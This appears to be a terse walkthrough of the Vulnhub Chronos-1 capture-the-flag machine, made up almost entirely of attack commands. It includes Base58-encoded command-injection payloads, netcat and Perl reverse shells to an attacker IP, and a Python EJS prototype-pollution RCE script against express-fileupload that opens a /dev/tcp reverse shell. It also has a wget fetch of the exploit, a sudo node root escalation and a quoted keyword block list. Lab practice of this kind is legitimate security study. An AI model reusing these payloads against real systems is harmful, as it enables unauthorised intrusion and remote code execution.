靶机 | Vulnhub Chronos-1 实战

https://www.vulnhub.com/entry/chronos-1,735/

nmap -p- -sV -sC -A 192.168.0.106 -oA nmap_chronos

gobuster dir -u http://192.168.0.106 -w /usr/share/wordlists/dirb/big.txt -x phpgobuster dir -u http://192.168.0.106:8000 -w /usr/share/wordlists/dirb/big.txt -x php

http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL

var _0x5bdf = ['150447srWefj', '70lwLrol', '1658165LmcNig', 'open', '1260881JUqdKM', '10737CrnEEe', '2SjTdWC', 'readyState', 'responseText', '1278676qXleJg', '797116soVTES', 'onreadystatechange', 'http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL', 'User-Agent', 'status', '1DYOODT', '400909Mbbcfr', 'Chronos', '2QRBPWS', 'getElementById', 'innerHTML', 'date'];(function (_0x506b95, _0x817e36) {    var _0x244260 = _0x432d;    while (!![]) {        try {            var _0x35824b = -parseInt(_0x244260(0x7e)) * parseInt(_0x244260(0x90)) + parseInt(_0x244260(0x8e)) + parseInt(_0x244260(0x7f)) * parseInt(_0x244260(0x83)) + -parseInt(_0x244260(0x87)) + -parseInt(_0x244260(0x82)) * parseInt(_0x244260(0x8d)) + -parseInt(_0x244260(0x88)) + parseInt(_0x244260(0x80)) * parseInt(_0x244260(0x84));            if (_0x35824b === _0x817e36) break;            else _0x506b95['push'](_0x506b95['shift']());        } catch (_0x3fb1dc) {            _0x506b95['push'](_0x506b95['shift']());        }    }}(_0x5bdf, 0xcaf1e));
function _0x432d(_0x16bd66, _0x33ffa9) {    return _0x432d = function (_0x5bdf82, _0x432dc8) {        _0x5bdf82 = _0x5bdf82 - 0x7e;        var _0x4da6e8 = _0x5bdf[_0x5bdf82];        return _0x4da6e8;    }, _0x432d(_0x16bd66, _0x33ffa9);}
function loadDoc() {    var _0x17df92 = _0x432d,        _0x1cff55 = _0x17df92(0x8f),        _0x2beb35 = new XMLHttpRequest();    _0x2beb35[_0x17df92(0x89)] = function () {        var _0x146f5d = _0x17df92;        this[_0x146f5d(0x85)] == 0x4 && this[_0x146f5d(0x8c)] == 0xc8 && (document[_0x146f5d(0x91)](_0x146f5d(0x93))[_0x146f5d(0x92)] = this[_0x146f5d(0x86)]);    }, _0x2beb35[_0x17df92(0x81)]('GET', _0x17df92(0x8a), !![]), _0x2beb35['setRequestHeader'](_0x17df92(0x8b), _0x1cff55), _0x2beb35['send']();}

vim /etc/hosts# 配置192.168.0.106 chronos.local

4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL，通过 Base58 解码为'+Today is %A, %B %d, %Y %H:%M:%S.'

; | & &&

;ls#base58编码后Lxfc

;ls /bin/#编码后AwV43iiVT6M

nc -nvlp 5555nc -nvlp 6666

;nc 192.168.0.107 5555 | /bin/bash | nc 192.168.0.107 6666#编码后YMbm2Ph6yCH4ARYAKXLRZsvbVsx9SDRcyY7aenyYrhN1ZFW3z2JQ9RyL279DNyY9iunhprxRftZhS1K

https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

;perl -e 'use Socket;$i="192.168.0.107";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'#编码后36XPmnAxYmYfBgAwvweNZ1cbPjxJiupGFJPVmbURWFdCnYzb4m9PPtjMPLAtAfgWgnoRa9kWNNJYMQmHXYjL12W3pn6C9YMhL458mxbQoiQRAfvkXKV5q9gTW9JVQp5YsBjFduuiKuJtVDSMS76uyQTaZcPAFtTS8xwg6pY7CnYmqYMeyXRC5xkQVQwKmVteMo51wYn3RPq8QzjgCjA94ZiZtz8jUF1xeiLX1nd5NeN78MP43mfQLax1beRRFDprPYmC49gi2NcNzLaAU4K4rVh9rLR2MpyVKp1JrvvM6cN3F2cYn

nc -nvlp 1234

python3 -c 'import pty;pty.spawn("/bin/bash")'

if (agent === 'Chronos') {        if (concat.includes('id') || concat.includes('whoami') || concat.includes('python') || concat.includes('nc') || concat.includes('bash') || concat.includes('php') || concat.includes('which') || concat.includes('socat')) {
            res.send("Something went wrong");        }        exec(concat, (error, stdout, stderr) => {            if (error) {                console.log(`error: ${error.message}`);                return;            }            if (stderr) {                console.log(`stderr: ${stderr}`);                return;            }            res.send(stdout);        });    }

const express = require('express');const fileupload = require("express-fileupload");const http = require('http')
const app = express();
app.use(fileupload({    parseNested: true}));
app.set('view engine', 'ejs');app.set('views', "/opt/chronos-v2/frontend/pages");
app.get('/', (req, res) => {    res.render('index')});
const server = http.Server(app);const addr = "127.0.0.1"const port = 8080;server.listen(port, addr, () => {            console.log('Server listening on ' + addr + ' port ' + port);});

node express-fileupload exploit

https://dev.to/boiledsteak/simple-remote-code-execution-on-ejs-web-applications-with-express-fileupload-3325

############################################################### Run this .py to perform EJS-RCE attack# referenced from# https://blog.p6.is/Real-World-JS-1/# # Timothy, 10 November 2020##############################################################
### importsimport requests
### commands to run on victim machinecmd = 'bash -c "bash -i &> /dev/tcp/192.168.0.107/7777 0>&1"'
print("Starting Attack...")### polluterequests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (    None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
### execute commandrequests.get('http://127.0.0.1:8080')print("Finished!")

python -m SimpleHTTPServer 80

cd /tmpwget http://192.168.0.107/exploit.pypython3 exploit.py

nc -nvlp 7777

cat user.txt

sudo -l

sudo node -e 'child_process.spawn("/bin/sh", {stdio: [0, 1, 2]})'

cat root.txt